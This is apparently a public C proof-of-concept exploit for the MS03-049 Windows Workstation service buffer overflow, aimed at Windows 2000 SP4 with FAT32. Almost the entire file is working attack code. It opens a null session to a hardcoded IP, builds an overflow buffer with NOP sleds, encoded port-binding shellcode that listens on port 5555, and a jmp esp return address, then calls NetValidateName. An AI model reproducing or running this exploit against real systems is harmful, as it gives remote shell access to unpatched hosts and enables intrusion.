/*
                              Proof of concept for MS03-049.
                              This code was tested on a Win2K SP4 with FAT32 file system, and is supposed
                              to work *only* with that (it will probably crash the the other 2Ks, no clue
                              about XPs).

                              To be compiled with lcc-win32 (*hint* link mpr.lib) ... I will not improve
                              this public version, do not bother to ask.

                              Credits go to eEye
                              See original bulletin for more information, it is very well documented.
                              */

                              #include 
                              #include 
                              #include 

                              typedef int (*MYPROC)(LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, ULONG);

                              #define SIZE 2048

                              // PEX generated port binding shellcode (5555)
                              unsigned char shellcode[] =
                              "\x66\x81\xec\x04\x07" // sub sp, 704h
                              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31"
                              "\xc9\x81\xe9\xa6\xff\xff\xff\x81\x36\x76\xac\x7c\x25\x81\xee\xfc"
                              "\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff\x9e\x94\x7c\x25"
                              "\x76\xef\x31\x61\x76\x4b\x05\xe3\x0f\x49\x35\xa3\x3f\x08\xd1\x0b"
                              "\x9f\x08\x66\x55\xb1\x75\x75\xd0\xdb\x67\x91\xd9\x4d\x22\x32\x2b"
                              "\x9a\xd2\xa4\xc7\x05\x01\xa5\x20\xb8\xde\x82\x96\x60\xfb\x2f\x17"
                              "\x29\x9f\x4e\x0b\x32\xe0\x30\x25\x77\xf7\x28\xac\x93\x25\x21\x25"
                              "\x1c\x9c\x25\x41\xfd\xad\xf7\x65\x7a\x27\x0c\x39\xdb\x27\x24\x2d"
                              "\x9d\xa0\xf1\x72\x5a\xfd\x2e\xda\xa6\x25\xbf\x7c\x9d\xbc\x16\x2d"
                              "\x28\xad\x92\x4f\x7c\xf5\xf7\x58\x76\x2c\x85\x23\x02\x48\x2d\x76"
                              "\x89\x98\xf3\xcd\xe6\xac\x7c\x25\x2f\x25\x78\xab\x94\x47\x4d\xda"
                              "\x10\x2d\x90\xb5\x77\xf8\x14\x24\x77\xac\x7c\xda\x23\x8c\x2b\x72"
                              "\x21\xfb\x3b\x72\x31\xfb\x83\x70\x6a\x25\xbf\x14\x89\xfb\x2b\x4d"
                              "\x74\xac\x69\x96\xff\x4a\x16\x35\x20\xff\x83\x70\x6e\xfb\x2f\xda"
                              "\x23\xb8\x2b\x73\x25\x53\x29\x35\xff\x6e\x1a\xa4\x9a\xf8\x7c\xa8"
                              "\x4a\x88\x4d\xe5\x1c\xb9\x25\xd6\xdd\x25\xab\xe3\x32\x88\x6c\x61"
                              "\x88\xe8\x58\x18\xff\xd0\x58\x6d\xff\xd0\x58\x69\xff\xd0\x58\x75"
                              "\xfb\xe8\x58\x35\x22\xfc\x2d\x74\x27\xed\x2d\x6c\x27\xfd\x83\x50"
                              "\x76\xfd\x83\x70\x46\x25\x9d\x4d\x89\x53\x83\xda\x89\x9d\x83\x70"
                              "\x5a\xfb\x83\x70\x7a\x53\x29\x0d\x25\xf9\x2a\x72\xfd\xc0\x58\x3d"
                              "\xfd\xe9\x40\xae\x22\xa9\x04\x24\x9c\x27\x36\x3d\xfd\xf6\x5c\x24"
                              "\x9d\x4f\x4e\x6c\xfd\x98\xf7\x24\x98\x9d\x83\xd9\x47\x6c\xd0\x1d"
                              "\x96\xd8\x7b\xe4\xb9\xa1\x7d\xe2\x9d\x5e\x47\x59\x52\xb8\x09\xc4"
                              "\xfd\xf6\x58\x24\x9d\xca\xf7\x29\x3d\x27\x26\x39\x77\x47\xf7\x21"
                              "\xfd\xad\x94\xce\x74\x9d\xbc\xac\x9c\xf3\x22\x78\x2d\x6e\x74\x25";

                              unsigned char jmp[] =
                              "\xe9\x6f\xfd\xff\xff"; // jmp -290h to land in the payload

                              int main(void)
                              {
                              int ret;
                              HINSTANCE hInstance;
                              MYPROC procAddress;
                              char szBuffer[SIZE];
                              NETRESOURCE netResource;

                              netResource.lpLocalName = NULL;
                              netResource.lpProvider = NULL;
                              netResource.dwType = RESOURCETYPE_ANY;
                              netResource.lpRemoteName = "\\\\192.168.175.3\\ipc$";

                              ret = WNetAddConnection2(&netResource, "", "", 0); // attempt a null session
                              if (ret != 0)
                              {
                              fprintf(stderr, "[-] WNetAddConnection2 failed\n");
                              return 1;
                              }

                              hInstance = LoadLibrary("netapi32");
                              if (hInstance == NULL)
                              {
                              fprintf(stderr, "[-] LoadLibrary failed\n");
                              return 1;
                              }

                              procAddress = (MYPROC)GetProcAddress(hInstance, "NetValidateName"); 
// up to you tocheck NetAddAlternateComputerName
                              if (procAddress == NULL)
                              {
                              fprintf(stderr, "[-] GetProcAddress failed\n");
                              return 1;
                              }

                              memset(szBuffer, 0x90, sizeof(szBuffer));
                              memcpy(&szBuffer[1400], shellcode, sizeof(shellcode) - 1);
                              // ebp @ &szBuffer[2013]
                              *(unsigned int *)(&szBuffer[2017]) = 0x74fdee63; 
// eip (jmp esp @ msafd.dll, useopcode search engine for more, but
                              // be aware that a call esp willchange the offset in the stack)
                              memcpy(&szBuffer[2021 + 12], jmp, sizeof(jmp)); // includes terminal NULL char
                              ret = (procAddress)(L"\\\\192.168.175.3", szBuffer, NULL, NULL, 0);

                              WNetCancelConnection2("\\\\192.168.175.3\\ipc$", 0, TRUE);
                              FreeLibrary(hInstance);

                              return 0;
                              }